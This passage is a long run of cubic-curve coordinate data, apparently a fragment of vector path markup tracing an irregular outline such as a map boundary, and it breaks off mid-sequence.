155683.43 101045.86 155673.00 101025.00C155662.33 101025.00 155651.67 101025.00 155641.00 101025.00C155608.67 101057.33 155576.33 101089.67 155544.00 101122.00C155522.53 101089.58 155501.27 101057.01 155479.67 101024.67C155469.11 101014.11 155458.56 101003.56 155448.00 100993.00C155415.67 101003.67 155383.33 101014.33 155351.00 101025.00C155319.00 101003.67 155287.00 100982.33 155255.00 100961.00C155212.00 100950.33 155169.00 100939.67 155126.00 100929.00C155136.67 100886.00 155147.33 100843.00 155158.00 100800.00C155158.00 100778.67 155158.00 100757.33 155158.00 100736.00C155104.67 100736.00 155051.33 100736.00 154998.00 100736.00C154965.67 100693.00 154933.33 100650.00 154901.00 100607.00C154869.00 100585.67 154837.00 100564.33 154805.00 100543.00C154772.67 100543.00 154740.33 100543.00 154708.00 100543.00C154708.00 100521.67 154708.00 100500.33 154708.00 100479.00C154676.00 100468.00 154644.00 100457.00 154612.00 100446.00C154601.33 100446.00 154590.67 100446.00 154580.00 100446.00C154558.20 100413.91 154536.59 100381.68 154514.67 100349.67C154493.45 100328.45 154472.22 100307.22 154451.00 100286.00C154429.67 100275.00 154408.33 100264.00 154387.00 100253.00C154365.33 100274.67 154343.67 100296.33 154322.00 100318.00C154311.33 100339.33 154300.67 100360.67 154290.00 100382.00C154268.52 100360.60 154247.20 100339.03 154225.61 100317.74C154193.41 100296.16 154161.20 100274.58 154129.00 100253.00C154140.00 100253.00 154151.00 100253.00 154162.00 100253.00C154151.00 100253.00 154140.00 100253.00 154129.00 100253.00C154118.33 100231.67 154107.67 100210.33 154097.00 100189.00C154097.00 100199.67 154097.00 100210.33 154097.00 100221.00C154075.67 100199.67 154054.33 100178.33 154033.00 100157.00C154022.33 100167.67 154011.67 100178.33 154001.00 100189.00C153990.16 100178.30 153979.60 100167.31 153968.58 100156.80C153947.05 100146.20 153925.53 100135.60 153904.00 100125.00C153915.00 100114.33 153926.00 100103.67 153937.00 100093.00C153926.00 100093.00 153915.00 100093.00 153904.00 100093.00C153904.00 100082.33 153904.00 100071.67 153904.00 100061.00C153882.67 100061.00 153861.33 100061.00 153840.00 100061.00C153850.67 100061.00 153861.33 100061.00 153872.00 100061.00C153850.67 100071.67 153829.33 100082.33 153808.00 100093.00C153808.00 100082.33 153808.00 100071.67 153808.00 100061.00C153786.58 100049.85 153764.98 100039.03 153743.67 100027.67C153722.11 100006.45 153700.56 99985.22 153679.00 99964.00C153668.33 99942.67 153657.67 99921.33 153647.00 99900.00C153593.33 99889.33 153539.67 99878.67 153486.00 99868.00C153464.15 99846.05 153442.76 99823.60 153420.62 99801.97C153377.99 99770.18 153335.24 99738.54 153292.67 99706.67C153282.11 99696.12 153271.56 99685.56 153261.00 99675.00C153261.00 99664.33 153261.00 99653.67 153261.00 99643.00C153239.67 99643.00 153218.33 99643.00 153197.00 99643.00C153186.33 99621.34 153175.67 99599.66 153165.00 99578.00C153143.67 99567.33 153122.33 99556.67 153101.00 99546.00C153101.00 99535.33 153101.00 99524.67 153101.00 99514.00C153111.67 99514.00 153122.33 99514.00 153133.00 99514.00C153122.33 99503.34 153111.67 99492.66 153101.00 99482.00C153090.00 99492.67 153079.00 99503.33 153068.00 99514.00C153057.33 99514.00 153046.67 99514.00 153036.00 99514.00C153014.67 99492.66 152993.33 99471.34 152972.00 99450.00C152972.00 99460.67 152972.00 99471.33 152972.00 99482.00C152961.33 99482.00 152950.67 99482.00 152940.00 99482.00C152929.33 99449.67 152918.67 99417.33 152908.00 99385.00C152908.00 99396.00 152908.00 99407.00 152908.00 99418.00C152897.33 99407.00 152886.67 99396.00 152876.00 99385.00C152865.00 99385.00 152854.00 99385.00 152843.00 99385.00C152842.90 99374.19 152843.20 99363.37 152842.85 99352.56C152832.25 99320.70 152821.62 99288.85 152811.00 99257.00C152800.33 99246.34 152789.67 99235.66 152779.00 99225.00C152757.67 99225.00 152736.33 99225.00 152715.00 99225.00C152682.67 99203.33 152650.33 99181.67 152618.00 99160.00C152607.33 99170.66 152596.67 99181.34 152586.00 99192.00C152554.00 99181.33 152522.00 99170.67 152490.00 99160.00C152479.33 99170.66 152468.67 99181.34 152458.00 99192.00C152425.67 99170.66 152393.33 99149.34 152361.00 99128.00C152361.00 99117.33 152361.00 99106.67 152361.00 99096.00C152350.33 99096.00 152339.67 99096.00 152329.00 99096.00C152307.67 99106.67 152286.33 99117.33 152265.00 99128.00C152254.00 99128.00 152243.00 99128.00 152232.00 99128.00C152221.33 99106.67 152210.67 99085.33 152200.00 99064.00C152189.33 99085.33 152178.67 99106.67 152168.00 99128.00C152157.33 99128.00 152146.67 99128.00 152136.00 99128.00C152125.33 99138.66 152114.67 99149.34 152104.00 99160.00C152093.33 99138.67 152082.67 99117.33 152072.00 99096.00C152050.33 99085.33 152028.67 99074.67 152007.00 99064.00C151996.33 99053.34 151985.67 99042.66 151975.00 99032.00C151975.00 99042.67 151975.00 99053.33 151975.00 99064.00C151964.33 99064.00 151953.67 99064.00 151943.00 99064.00C151921.67 99042.33 151900.33 99020.67 151879.00 98999.00C151846.67 98999.00 151814.33 98999.00 151782.00 98999.00C151739.33 98977.67 151696.67 98956.33 151654.00 98935.00C151654.00 98945.67 151654.00 98956.33 151654.00 98967.00C151632.33 98956.33 151610.67 98945.67 151589.00 98935.00C151578.33 98935.00 151567.67 98935.00 151557.00 98935.00C151546.33 98945.66 151535.67 98956.34 151525.00 98967.00C151481.85 98967.04 151438.69 98966.91 151395.54 98967.07C151320.69 98977.71 151245.85 98988.35 151171.00 98999.00C151171.00 99010.00 151171.00 99021.00 151171.00 99032.00C151160.33 99042.66 151149.67 99053.34 151139.00 99064.00C151117.67 99064.00 151096.33 99064.00 151075.00 99064.00C151064.33 99053.34 151053.67 99042.66 151043.00 99032.00C151021.33 99042.67 150999.67 99053.33 150978.00 99064.00C150967.33 99064.00 150956.67 99064.00 150946.00 99064.00C150914.00 99096.00 150882.00 99128.00 150850.00 99160.00C150817.67 99160.00 150785.33 99160.00 150753.00 99160.00C150710.21 99181.77 150667.36 99203.41 150624.61 99225.26C150592.41 99246.50 150560.20 99267.75 150528.00 99289.00C150517.33 99278.34 150506.67 99267.66 150496.00 99257.00C150485.33 99267.66 150474.67 99278.34 150464.00 99289.00C150453.33 99289.00 150442.67 99289.00 150432.00 99289.00C150421.33 99299.66 150410.67 99310.34 150400.00 99321.00C150400.00 99331.67 150400.00 99342.33 150400.00 99353.00C150378.33 99353.00 150356.67 99353.00 150335.00 99353.00C150324.33 99363.66 150313.67 99374.34 150303.00 99385.00C150313.67 99406.66 150324.33 99428.34 150335.00 99450.00C150324.33 99460.66 150313.67 99471.34 150303.00 99482.00C150281.67 99482.00 150260.33 99482.00 150239.00 99482.00C150228.33 99492.66 150217.67 99503.34 150207.00 99514.00C150228.33 99535.34 150249.67 99556.66 150271.00 99578.00C150271.00 99588.67 150271.00 99599.33 150271.00 99610.00C150239.00 99610.00 150207.00 99610.00 150175.00 99610.00C150164.33 99621.00 150153.67 99632.00 150143.00 99643.00C150121.33 99643.00 150099.67 99643.00 150078.00 99643.00C150078.00 99664.33 150078.00 99685.67 150078.00 99707.00C150067.33 99696.34 150056.67 99685.66 150046.00 99675.00C150035.33 99696.33 150024.67 99717.67 150014.00 99739.00C150003.33 99739.00 149992.67 99739.00 149982.00 99739.00C149971.33 99717.67 149960.67 99696.33 149950.00 99675.00C149950.00 99653.33 149950.00 99631.67 149950.00 99610.00C149960.67 99610.00 149971.33 99610.00 149982.00 99610.00C149970.69 99599.11 149960.15 99587.30 149948.35 99577.01C149895.23 99545.34 149842.11 99513.67 149789.00 99482.00C149778.33 99460.67 149767.67 99439.33 149757.00 99418.00C149735.33 99418.00 149713.67 99418.00 149692.00 99418.00C149670.67 99428.67 149649.33 99439.33 149628.00 99450.00C149617.33 99450.00 149606.67 99450.00 149596.00 99450.00C149574.50 99439.34 149553.14 99428.39 149531.55 99417.91C149478.03 99406.94 149424.52 99395.97 149371.00 99385.00C149349.67 99363.66 149328.33 99342.34 149307.00 99321.00C149285.33 99321.00 149263.67 99321.00 149242.00 99321.00C149242.00 99310.33 149242.00 99299.67 149242.00 99289.00C149220.67 99289.00 149199.33 99289.00 149178.00 99289.00C149167.33 99299.66 149156.67 99310.34 149146.00 99321.00C149124.33 99321.00 149102.67 99321.00 149081.00 99321.00C149081.00 99310.33 149081.00 99299.67 149081.00 99289.00C149092.00 99278.33 149103.00 99267.67 149114.00 99257.00C149114.00 99246.33 149114.00 99235.67 149114.00 99225.00C149092.33 99203.34 149070.67 99181.66 149049.00 99160.00C149006.33 99160.00 148963.67 99160.00 148921.00 99160.00C148910.33 99149.34 148899.67 99138.66 148889.00 99128.00C148867.33 99128.00 148845.67 99128.00 148824.00 99128.00C148813.33 99117.34 148802.67 99106.66 148792.00 99096.00C148760.00 99096.00 148728.00 99096.00 148696.00 99096.00C148631.67 99074.67 148567.33 99053.33 148503.00 99032.00C148481.33 99032.00 148459.67 99032.00 148438.00 99032.00C148427.33 99021.00 148416.67 99010.00 148406.00 98999.00C148395.33 98999.00 148384.67 98999.00 148374.00 98999.00C148374.00 98977.67 148374.00 98956.33 148374.00 98935.00C148363.33 98935.00 148352.67 98935.00 148342.00 98935.00C148342.00 98945.67 148342.00 98956.33 148342.00 98967.00C148331.33 98956.34 148320.67 98945.66 148310.00 98935.00C148320.67 98924.34 148331.33 98913.66 148342.00 98903.00C148331.33 98903.00 148320.67 98903.00 148310.00 98903.00C148320.67 98892.34 148331.33 98881.66 148342.00 98871.00C148331.33 98871.00 148320.67 98871.00 148310.00 98871.00C148331.33 98871.00 148352.67 98871.00 148374.00 98871.00C148352.67 98860.33 148331.33 98849.67 148310.00 98839.00C148331.33 98828.33 148352.67 98817.67 148374.00 98807.00C148374.00 98785.33 148374.00 98763.67 148374.00 98742.00C148363.33 98742.00 148352.67 98742.00 148342.00 98742.00C148342.00 98710.00 148342.00 98678.00 148342.00 98646.00C148331.33 98656.66 148320.67 98667.34 148310.00 98678.00C148310.10 98656.52 148309.81 98635.04 148310.15 98613.56C148320.75 98581.37 148331.38 98549.19 148342.00 98517.00C148342.35 98501.87 148340.75 98486.54 148344.21 98471.65C148354.14 98411.77 148364.07 98351.88 148374.00 98292.00C148417.00 98195.67 148460.00 98099.33 148503.00 98003.00C148513.67 97992.34 148524.33 97981.66 148535.00 97971.00C148549.26 97926.70 148565.15 97882.90 148577.26 97837.94C148595.17 97774.96 148613.08 97711.98 148631.00 97649.00C148652.67 97627.67 148674.33 97606.33 148696.00 97585.00C148696.00 97574.33 148696.00 97563.67 148696.00 97553.00C148728.00 97510.00 148760.00 97467.00 148792.00 97424.00C148781.33 97413.34 148770.67 97402.66 148760.00 97392.00C148738.67 97392.00 148717.33 97392.00 148696.00 97392.00C148685.00 97370.33 148674.00 97348.67 148663.00 97327.00C148652.33 97338.00 148641.67 97349.00 148631.00 97360.00C148631.00 97349.00 148631.00 97338.00 148631.00 97327.00C148620.33 97327.00 148609.67 97327.00 148599.00 97327.00C148609.67 97316.34 148620.33 97305.66 148631.00 97295.00C148620.33 97295.00 148609.67 97295.00 148599.00 97295.00C148577.67 97284.33 148556.33 97273.67 148535.00 97263.00C148524.33 97284.33 148513.67 97305.67 148503.00 97327.00C148503.00 97316.33 148503.00 97305.67 148503.00 97295.00C148492.33 97305.66 148481.67 97316.34 148471.00 97327.00C148460.00 97316.33 148449.00 97305.67 148438.00 97295.00C148449.00 97295.00 148460.00 97295.00 148471.00 97295.00C148471.00 97284.33 148471.00 97273.67 148471.00 97263.00C148449.33 97273.67 148427.67 97284.33 148406.00 97295.00C148395.33 97284.34 148384.67 97273.66 148374.00 97263.00C148374.00 97273.67 148374.00 97284.33 148374.00 97295.00C148363.33 97284.34 148352.67 97273.66 148342.00 97263.00C148320.67 97263.00 148299.33 97263.00 148278.00 97263.00C148278.00 97241.67 148278.00 97220.33 148278.00 97199.00C148278.00 97209.67 148278.00 97220.33 148278.00 97231.00C148267.00 97220.33 148256.00 97209.67 148245.00 97199.00C148234.33 97199.00 148223.67 97199.00 148213.00 97199.00C148213.00 97209.67 148213.00 97220.33 148213.00 97231.00C148202.33 97220.34 148191.67 97209.66 148181.00 97199.00C148181.00 97209.67 148181.00 97220.33 148181.00 97231.00C148170.33 97220.34 148159.67 97209.66 148149.00 97199.00C148138.33 97199.00 148127.67 97199.00 148117.00 97199.00C148117.00 97209.67 148117.00 97220.33 148117.00 97231.00C148106.33 97220.34 148095.67 97209.66 148085.00 97199.00C148074.33 97209.66 148063.67 97220.34 148053.00 97231.00C148042.00 97209.67 148031.00 97188.33 148020.00 97167.00C148009.33 97167.00 147998.67 97167.00 147988.00 97167.00C147988.00 97188.33 147988.00 97209.67 147988.00 97231.00C147988.00 97209.67 147988.00 97188.33 147988.00 97167.00C147977.33 97167.00 147966.67 97167.00 147956.00 97167.00C147945.33 97145.34 147934.67 97123.66 147924.00 97102.00C147913.33 97102.00 147902.67 97102.00 147892.00 97102.00C147881.33 97113.00 147870.67 97124.00 147860.00 97135.00C147860.00 97124.00 147860.00 97113.00 147860.00 97102.00C147838.33 97091.33 147816.67 97080.67 147795.00 97070.00C147805.67 97070.00 147816.33 97070.00 147827.00 97070.00C147784.33 97070.00 147741.67 97070.00 147699.00 97070.00C147699.00 97080.67 147699.00 97091.33 147699.00 97102.00C147677.67 97102.00 147656.33 97102.00 147635.00 97102.00C147624.00 97123.67 147613.00 97145.33 147602.00 97167.00C147591.33 97156.34 147580.67 97145.66 147570.00 97135.00C147570.00 97145.67 147570.00 97156.33 147570.00 97167.00C147559.33 97156.34 147548.67 97145.66 147538.00 97135.00C147527.33 97135.00 147516.67 97135.00 147506.00 97135.00C147506.00 97124.00 147506.00 97113.00 147506.00 97102.00C147495.33 97113.00 147484.67 97124.00 147474.00 97135.00C147452.33 97135.00 147430.67 97135.00 147409.00 97135.00C147409.00 97113.33 147409.00 97091.67 147409.00 97070.00C147398.33 97070.00 147387.67 97070.00 147377.00 97070.00C147377.00 97080.67 147377.00 97091.33 147377.00 97102.00C147366.33 97102.00 147355.67 97102.00 147345.00 97102.00C147345.00 97091.33 147345.00 97080.67 147345.00 97070.00C147334.33 97080.66 147323.67 97091.34 147313.00 97102.00C147302.33 97102.00 147291.67 97102.00 147281.00 97102.00C147270.33 97091.34 147259.67 97080.66 147249.00 97070.00C147249.00 97048.67 147249.00 97027.33 147249.00 97006.00C147238.33 97006.00 147227.67 97006.00 147217.00 97006.00C147206.00 97038.00 147195.00 97070.00 147184.00 97102.00C147162.67 97113.00 147141.33 97124.00 147120.00 97135.00C147109.33 97124.00 147098.67 97113.00 147088.00 97102.00C147098.67 97102.00 147109.33 97102.00 147120.00 97102.00C147120.00 97080.67 147120.00 97059.33 147120.00 97038.00C147077.33 97027.33 147034.67 97016.67 146992.00 97006.00C146992.00 97027.33 146992.00 97048.67 146992.00 97070.00C146981.00 97070.00 146970.00 97070.00 146959.00 97070.00C146937.67 97048.66 146916.33 97027.34 146895.00 97006.00C146863.00 97006.00 146831.00 97006.00 146799.00 97006.00C146799.00 96995.33 146799.00 96984.67 146799.00 96974.00C146788.00 96974.00 146777.00 96974.00 146766.00 96974.00C146766.00 96952.67 146766.00 96931.33 146766.00 96910.00C146755.33 96899.00 146744.67 96888.00 146734.00 96877.00C146734.00 96898.67 146734.00 96920.33 146734.00 96942.00C146702.00 96942.00 146670.00 96942.00 146638.00 96942.00C146638.00 96963.33 146638.00 96984.67 146638.00 97006.00C146627.33 96995.34 146616.67 96984.66 146606.00 96974.00C146595.00 96984.67 146584.00 96995.33 146573.00 97006.00C146584.00 97006.00 146595.00 97006.00 146606.00 97006.00C146606.00 97016.67 146606.00 97027.33 146606.00 97038.00C146595.00 97016.67 146584.00 96995.33 146573.00 96974.00C146509.00 96974.00 146445.00 96974.00 146381.00 96974.00C146370.00 96984.67 146359.00 96995.33 146348.00 97006.00C146316.00 96984.67 146284.00 96963.33 146252.00 96942.00C146220.00 96952.67 146188.00 96963.33 146156.00 96974.00C146156.00 96984.67 146156.00 96995.33 146156.00 97006.00C146134.33 97006.00 146112.67 97006.00 146091.00 97006.00C146101.67 97016.66 146112.33 97027.34 146123.00 97038.00C146112.33 97038.00 146101.67 97038.00 146091.00 97038.00C146080.33 97048.66 146069.67 97059.34 146059.00 97070.00C146048.33 97070.00 146037.67 97070.00 146027.00 97070.00C146016.33 97080.66 146005.67 97091.34 145995.00 97102.00C145984.33 97091.34 145973.67 97080.66 145963.00 97070.00C145963.00 97080.67 145963.00 97091.33 145963.00 97102.00C145952.00 97113.00 145941.00 97124.00 145930.00 97135.00C145930.00 97124.00 145930.00 97113.00 145930.00 97102.00C145908.67 97102.00 145887.33 97102.00 145866.00 97102.00C145855.33 97113.00 145844.67 97124.00 145834.00 97135.00C145801.67 97145.67 145769.33 97156.33 145737.00 97167.00C145715.67 97188.34 145694.33 97209.66 145673.00 97231.00C145651.67 97241.67 145630.33 97252.33 145609.00 97263.00C145598.33 97273.66 145587.67 97284.34 145577.00 97295.00C145566.33 97284.34 145555.67 97273.66 145545.00 97263.00C145545.00 97273.67 145545.00 97284.33 145545.00 97295.00C145534.00 97295.00 145523.00 97295.00 145512.00 97295.00C145490.40 97316.40 145469.08 97338.08 145448.00 97360.00C145437.33 97360.00 145426.67 97360.00 145416.00 97360.00C145405.33 97349.00 145394.67 97338.00 145384.00 97327.00C145373.33 97338.00 145362.67 97349.00 145352.00 97360.00C145352.00 97349.00 145352.00 97338.00 145352.00 97327.00C145341.33 97338.00 145330.67 97349.00 145320.00 97360.00C145277.00 97360.00 145234.00 97360.00 145191.00 97360.00C145191.00 97381.33 145191.00 97402.67 145191.00 97424.00C145169.67 97413.33 145148.33 97402.67 145127.00 97392.00C145127.00 97402.67 145127.00 97413.33 145127.00 97424.00C145116.00 97424.00 145105.00 97424.00 145094.00 97424.00C145094.00 97434.67 145094.00 97445.33 145094.00 97456.00C145072.67 97456.00 145051.33 97456.00 145030.00 97456.00C145030.00 97466.67 145030.00 97477.33 145030.00 97488.00C145030.00 97477.33 145030.00 97466.67 145030.00 97456.00C144997.72 97488.06 144965.94 97520.61 144934.00 97553.00C144912.33 97553.00 144890.67 97553.00 144869.00 97553.00C144858.33 97563.66 144847.67 97574.34 144837.00 97585.00C144826.33 97585.00 144815.67 97585.00 144805.00 97585.00C144794.33 97617.00 144783.67 97649.00 144773.00 97681.00C144762.33 97670.34 144751.67 97659.66 144741.00 97649.00C144730.33 97659.66 144719.67 97670.34 144709.00 97681.00C144719.67 97681.00 144730.33 97681.00 144741.00 97681.00C144730.33 97691.66 144719.67 97702.34 144709.00 97713.00C144698.00 97702.33 144687.00 97691.67 144676.00 97681.00C144665.33 97681.00 144654.67 97681.00 144644.00 97681.00C144633.33 97702.66 144622.67 97724.34 144612.00 97746.00C144622.67 97756.66 144633.33 97767.34 144644.00 97778.00C144633.33 97788.66 144622.67 97799.34 144612.00 97810.00C144601.33 97799.34 144590.67 97788.66 144580.00 97778.00C144580.00 97799.33 144580.00 97820.67 144580.00 97842.00C144558.67 97820.66 144537.33 97799.34 144516.00 97778.00C144516.00 97788.67 144516.00 97799.33 144516.00 97810.00C144505.33 97810.00 144494.67 97810.00 144484.00 97810.00C144484.00 97831.33 144484.00 97852.67 144484.00 97874.00C144473.00 97874.00 144462.00 97874.00 144451.00 97874.00C144451.00 97895.33 144451.00 97916.67 144451.00 97938.00C144429.67 97938.00 144408.33 97938.00 144387.00 97938.00C144387.00 97927.33 144387.00 97916.67 144387.00 97906.00C144376.33 97927.66 144365.67 97949.34 144355.00 97971.00C144344.33 97960.00 144333.67 97949.00 144323.00 97938.00C144323.00 97959.67 144323.00 97981.33 144323.00 98003.00C144301.33 98013.67 144279.67 98024.33 144258.00 98035.00C144247.33 98035.00 144236.67 98035.00 144226.00 98035.00C144226.00 98045.67 144226.00 98056.33 144226.00 98067.00C144215.33 98077.66 144204.67 98088.34 144194.00 98099.00C144183.33 98088.34 144172.67 98077.66 144162.00 98067.00C144162.00 98077.67 144162.00 98088.33 144162.00 98099.00C144129.67 98099.00 144097.33 98099.00 144065.00 98099.00C144054.33 98109.66 144043.67 98120.34 144033.00 98131.00C144022.33 98131.00 144011.67 98131.00 144001.00 98131.00C144001.00 98141.67 144001.00 98152.33 144001.00 98163.00C143969.00 98163.00 143937.00 98163.00 143905.00 98163.00C143915.67 98174.00 143926.33 98185.00 143937.00 98196.00C143926.33 98206.66 143915.67 98217.34 143905.00 98228.00C143872.67 98217.33 143840.33 98206.67 143808.00 98196.00C143808.00 98206.67 143808.00 98217.33 143808.00 98228.00C143829.67 98238.67 143851.33 98249.33 143873.00 98260.00C143862.00 98270.67 143851.00 98281.33 143840.00 98292.00C143829.33 98292.00 143818.67 98292.00 143808.00 98292.00C143818.67 98302.66 143829.33 98313.34 143840.00 98324.00C143829.33 98334.66 143818.67 98345.34 143808.00 98356.00C143818.67 98356.00 143829.33 98356.00 143840.00 98356.00C143851.00 98367.00 143862.00 98378.00 143873.00 98389.00C143840.67 98389.00 143808.33 98389.00 143776.00 98389.00C143765.33 98399.66 143754.67 98410.34 143744.00 98421.00C143744.00 98453.00 143744.00 98485.00 143744.00 98517.00C143733.33 98506.34 143722.67 98495.66 143712.00 98485.00C143712.00 98506.33 143712.00 98527.67 143712.00 98549.00C143722.67 98549.00 143733.33 98549.00 143744.00 98549.00C143754.67 98538.34 143765.33 98527.66 143776.00 98517.00C143776.00 98538.67 143776.00 98560.33 143776.00 98582.00C143744.00 98582.00 143712.00 98582.00 143680.00 98582.00C143658.33 98614.00 143636.67 98646.00 143615.00 98678.00C143615.00 98667.33 143615.00 98656.67 143615.00 98646.00C143615.00 98656.67 143615.00 98667.33 143615.00 98678.00C143593.67 98678.00 143572.33 98678.00 143551.00 98678.00C143540.33 98688.66 143529.67 98699.34 143519.00 98710.00C143497.67 98710.00 143476.33 98710.00 143455.00 98710.00C143455.00 98720.67 143455.00 98731.33 143455.00 98742.00C143444.00 98742.00 143433.00 98742.00 143422.00 98742.00C143422.00 98752.67 143422.00 98763.33 143422.00 98774.00C143390.00 98785.00 143358.00 98796.00 143326.00 98807.00C143315.33 98807.00 143304.67 98807.00 143294.00 98807.00C143294.00 98817.67 143294.00 98828.33 143294.00 98839.00C143283.33 98839.00 143272.67 98839.00 143262.00 98839.00C143251.33 98849.66 143240.67 98860.34 143230.00 98871.00C143219.00 98860.33 143208.00 98849.67 143197.00 98839.00C143175.67 98860.34 143154.33 98881.66 143133.00 98903.00C143143.67 98913.66 143154.33 98924.34 143165.00 98935.00C143143.67 98935.00 143122.33 98935.00 143101.00 98935.00C143101.00 98956.33 143101.00 98977.67 143101.00 98999.00C143079.67 98988.33 143058.33 98977.67 143037.00 98967.00C143037.00 98977.67 143037.00 98988.33 143037.00 98999.00C142972.67 99020.67 142908.33 99042.33 142844.00 99064.00C142844.00 99085.33 142844.00 99106.67 142844.00 99128.00C142833.33 99138.66 142822.67 99149.34 142812.00 99160.00C142812.00 99149.33 142812.00 99138.67 142812.00 99128.00C142800.97 99138.84 142789.64 99149.39 142778.79 99160.41C142757.42 99203.40 142736.20 99246.45 142714.74 99289.39C142693.37 99321.36 142672.17 99353.44 142650.68 99385.33C142640.11 99396.22 142629.56 99407.11 142619.00 99418.00C142602.36 99417.88 142585.64 99418.76 142569.14 99416.07C142478.43 99405.72 142387.71 99395.36 142297.00 99385.00C142275.67 99374.33 142254.33 99363.67 142233.00 99353.00C142243.67 99342.34 142254.33 99331.66 142265.00 99321.00C142243.67 99331.67 142222.33 99342.33 142201.00 99353.00C142201.00 99363.67 142201.00 99374.33 142201.00 99385.00C142179.33 99385.00 142157.67 99385.00 142136.00 99385.00C142136.00 99396.00 142136.00 99407.00 142136.00 99418.00C142104.00 99407.00 142072.00 99396.00 142040.00 99385.00C142029.33 99406.66 142018.67 99428.34 142008.00 99450.00C141986.33 99460.67 141964.67 99471.33 141943.00 99482.00C141943.00 99503.33 141943.00 99524.67 141943.00 99546.00C141921.67 99567.34 141900.33 99588.66 141879.00 99610.00C141868.33 99599.34 141857.67 99588.66 141847.00 99578.00C141836.30 99588.84 141825.32 99599.40 141814.80 99610.42C141804.20 99631.95 141793.60 99653.47 141783.00 99675.00C141772.33 99664.34 141761.67 99653.66 141751.00 99643.00C141740.00 99664.33 141729.00 99685.67 141718.00 99707.00C141696.67 99717.67 141675.33 99728.33 141654.00 99739.00C141654.00 99749.67 141654.00 99760.33 141654.00 99771.00C141664.67 99781.66 141675.33 99792.34 141686.00 99803.00C141654.00 99803.00 141622.00 99803.00 141590.00 99803.00C141590.00 99813.67 141590.00 99824.33 141590.00 99835.00C141579.33 99835.00 141568.67 99835.00 141558.00 99835.00C141547.00 99824.33 141536.00 99813.67 141525.00 99803.00C141536.00 99824.67 141547.00 99846.33 141558.00 99868.00C141547.00 99889.33 141536.00 99910.67 141525.00 99932.00C141514.33 99921.34 141503.67 99910.66 141493.00 99900.00C141482.33 99921.33 141471.67 99942.67 141461.00 99964.00C141429.00 99964.00 141397.00 99964.00 141365.00 99964.00C141365.00 99985.33 141365.00 100006.67 141365.00 100028.00C141354.00 100028.00 141343.00 100028.00 141332.00 100028.00C141321.33 100017.33 141310.67 100006.67 141300.00 99996.00C141300.00 100006.67 141300.00 100017.33 141300.00 100028.00C141289.33 100039.00 141278.67 100050.00 141268.00 100061.00C141268.00 100082.33 141268.00 100103.67 141268.00 100125.00C141257.33 100125.00 141246.67 100125.00 141236.00 100125.00C141203.85 100157.06 141171.87 100189.30 141139.61 100221.26C141107.41 100242.84 141075.20 100264.42 141043.00 100286.00C141032.33 100286.00 141021.67 100286.00 141011.00 100286.00C141011.00 100275.00 141011.00 100264.00 141011.00 100253.00C141000.33 100253.00 140989.67 100253.00 140979.00 100253.00C140968.33 100274.67 140957.67 100296.33 140947.00 100318.00C140925.33 100328.67 140903.67 100339.33 140882.00 100350.00C140893.00 100350.00 140904.00 100350.00 140915.00 100350.00C140904.00 100360.67 140893.00 100371.33 140882.00 100382.00C140882.00 100392.67 140882.00 100403.33 140882.00 100414.00C140871.33 100414.00 140860.67 100414.00 140850.00 100414.00C140850.00 100403.33 140850.00 100392.67 140850.00 100382.00C140839.33 100382.00 140828.67 100382.00 140818.00 100382.00C140786.00 100403.33 140754.00 100424.67 140722.00 100446.00C140700.33 100424.67 140678.67 100403.33 140657.00 100382.00C140635.67 100392.67 140614.33 100403.33 140593.00 100414.00C140582.33 100414.00 140571.67 100414.00 140561.00 100414.00C140539.67 100392.67 140518.33 100371.33 140497.00 100350.00C140475.33 100350.00 140453.67 100350.00 140432.00 100350.00C140421.33 100360.67 140410.67 100371.33 140400.00 100382.00C140378.67 100382.00 140357.33 100382.00 140336.00 100382.00C140336.00 100392.67 140336.00 100403.33 140336.00 100414.00C140303.67 100446.33 140271.33 100478.67 140239.00 100511.00C140239.00 100521.67 140239.00 100532.33 140239.00 100543.00C140228.33 100532.33 140217.67 100521.67 140207.00 100511.00C140207.00 100532.33 140207.00 100553.67 140207.00 100575.00C140196.33 100575.00 140185.67 100575.00 140175.00 100575.00C140175.00 100585.67 140175.00 100596.33 140175.00 100607.00C140164.33 100607.00 140153.67 100607.00 140143.00 100607.00C140132.33 100639.33 140121.67 100671.67 140111.00 100704.00C140100.16 100714.70 140089.60 100725.69 140078.58 100736.20C140057.05 100746.80 140035.53 100757.40 140014.00 100768.00C140014.00 100757.33 140014.00 100746.67 140014.00 100736.00C140003.33 100725.33 139992.67 100714.67 139982.00 100704.00C139971.33 100736.00 139960.67 100768.00 139950.00 100800.00C139950.00 100789.33 139950.00 100778.67 139950.00 100768.00C139939.33 100768.00 139928.67 100768.00 139918.00 100768.00C139907.33 100789.33 139896.67 100810.67 139886.00 100832.00C139896.67 100842.67 139907.33 100853.33 139918.00 100864.00C139906.72 100886.36 139896.28 100909.19 139884.47 100931.26C139863.31 100962.50 139842.16 100993.75 139821.00 101025.00C139821.00 101035.67 139821.00 101046.33 139821.00 101057.00C139799.67 101057.00 139778.33 101057.00 139757.00 101057.00C139757.00 101067.67 139757.00 101078.33 139757.00 101089.00C139725.00 101089.00 139693.00 101089.00 139661.00 101089.00C139661.00 101100.00 139661.00 101111.00 139661.00 101122.00C139650.00 101111.00 139639.00 101100.00 139628.00 101089.00C139628.00 101110.67 139628.00 101132.33 139628.00 101154.00C139617.33 101154.00 139606.67 101154.00 139596.00 101154.00C139596.00 101164.67 139596.00 101175.33 139596.00 101186.00C139585.33 101186.00 139574.67 101186.00 139564.00 101186.00C139564.00 101196.67 139564.00 101207.33 139564.00 101218.00C139564.00 101207.33 139564.00 101196.67 139564.00 101186.00C139553.33 101196.67 139542.67 101207.33 139532.00 101218.00C139478.33 101218.00 139424.67 101218.00 139371.00 101218.00C139349.67 101207.33 139328.33 101196.67 139307.00 101186.00C139285.67 101196.67 139264.33 101207.33 139243.00 101218.00C139221.33 101207.33 139199.67 101196.67 139178.00 101186.00C139167.33 101196.67 139156.67 101207.33 139146.00 101218.00C139135.33 101218.00 139124.67 101218.00 139114.00 101218.00C139114.00 101228.67 139114.00 101239.33 139114.00 101250.00C139103.33 101250.00 139092.67 101250.00 139082.00 101250.00C139082.00 101271.67 139082.00 101293.33 139082.00 101315.00C139071.33 101315.00 139060.67 101315.00 139050.00 101315.00C139039.00 101325.67 139028.00 101336.33 139017.00 101347.00C138995.67 101347.00 138974.33 101347.00 138953.00 101347.00C138953.00 101357.67 138953.00 101368.33 138953.00 101379.00C138942.33 101379.00 138931.67 101379.00 138921.00 101379.00C138910.33 101389.67 138899.67 101400.33 138889.00 101411.00C138814.00 101368.00 138739.00 101325.00 138664.00 101282.00C138610.33 101293.00 138556.67 101304.00 138503.00 101315.00C138481.67 101336.33 138460.33 101357.67 138439.00 101379.00C138439.00 101411.00 